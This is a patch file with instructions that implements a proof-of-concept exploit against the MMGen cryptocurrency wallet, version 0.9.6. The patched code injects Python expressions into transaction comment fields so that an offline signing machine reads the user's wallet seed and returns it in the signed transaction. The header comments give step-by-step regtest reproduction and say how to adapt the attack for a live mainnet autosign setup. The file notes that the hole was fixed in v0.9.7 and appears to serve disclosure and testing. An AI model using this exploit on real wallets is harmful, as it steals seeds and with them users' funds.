txsign-eval-exploit.diff 2.9 KB

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667
  1. # Implements the exploit that allowed a compromised MMGen on an online machine
  2. # to fool an offline signing MMGen into passing the user's seed back to the
  3. # online machine via a specially crafted transaction
  4. # The seed is split in two and passed via the the input and output transaction
  5. # comments
  6. # Patch is against v0.9.6 - 6b9df0e contains the fix, which was included in v0.9.7
  7. # Testing the exploit in Regtest mode:
  8. # $ git checkout -b evil_exploit v0.9.6
  9. # $ git apply scripts/txsign-eval-exploit.diff
  10. # $ git commit -a -m foo
  11. # $ mmgen-regtest setup
  12. # $ mmgen-regtest bob
  13. # $ mmgen-walletgen -q -p1 -r0 --bob -L label # (hit ENTER 3 times, remember Bob's Seed ID)
  14. # $ mmgen-addrgen -q --bob 1-2
  15. # $ mmgen-addrimport -q --bob *.addrs
  16. # $ mmgen-regtest send <BTC addr of 1st imported address> 500
  17. # # Set PYTHONPATH to use the patched mmgen/tx.py module without installing it:
  18. # $ PYTHONPATH=. cmds/mmgen-txcreate --tx-fee=10s -q --bob <Bob's Seed ID>:L:2
  19. # $ PYTHONPATH=. cmds/mmgen-txsign -q --bob *.rawtx
  20. # $ mmgen-tool --testnet=1 txview *.sigtx # Bob's seed is contained in the two comments
  21. # $ mmgen-walletconv -q -p1 -r0 --bob -o mmhex -S | cut -d ' ' -f 2- # verify that seed matches
  22. # To modify the tx file for a live autosign setup:
  23. # - uncomment the commented-out line in the patched code
  24. # - repeat the txcreate step
  25. # - edit the resulting tx file:
  26. # + replace the testnet addresses with their mainnet equivalents
  27. # + replace 'REGTEST' with 'MAINNET'
  28. # + replace the file's checksum in the first line with the output of 'scripts/compute-file-chksum.py'
  29. # Make sure to return to master branch when you're finished:
  30. # $ git checkout master
  31. diff --git a/mmgen/tx.py b/mmgen/tx.py
  32. index 0d43840..d167040 100755
  33. --- a/mmgen/tx.py
  34. +++ b/mmgen/tx.py
  35. @@ -557,6 +557,15 @@ class MMGenTX(MMGenObject):
  36. def format(self):
  37. self.inputs.check_coin_mismatch()
  38. self.outputs.check_coin_mismatch()
  39. + d_in = repr([e.__dict__ for e in self.inputs])
  40. + d_out = repr([e.__dict__ for e in self.outputs])
  41. + if g.prog_name == 'mmgen-txcreate':
  42. + mod = "__import__('mmgen.seed',globals(),locals(),['SeedSource'])"
  43. + wdir = "os.environ['HOME']+'/.mmgen/regtest/btc/bob/'"
  44. + # wdir = "'/dev/shm/autosign/'" # use this for a real online/offline setup with autosign
  45. + wfile = "{w}+os.listdir({w})[-1]".format(w=wdir)
  46. + d_in = d_in.replace("'label': u''","'label': {}.SeedSource({}).seed.hexdata[:32]".format(mod,wfile))
  47. + d_out = d_out.replace('{',"{{'label': {}.SeedSource({}).seed.hexdata[32:], ".format(mod,wfile))
  48. lines = [
  49. '{}{} {} {} {} {}{}'.format(
  50. (g.coin+' ','')[g.coin=='BTC'],
  51. @@ -568,8 +577,8 @@ class MMGenTX(MMGenObject):
  52. ('',' LT={}'.format(self.locktime))[bool(self.locktime)]
  53. ),
  54. self.hex,
  55. - repr([e.__dict__ for e in self.inputs]),
  56. - repr([e.__dict__ for e in self.outputs])
  57. + d_in,
  58. + d_out
  59. ]
  60. if self.label:
  61. lines.append(baseconv.b58encode(self.label.encode('utf8')))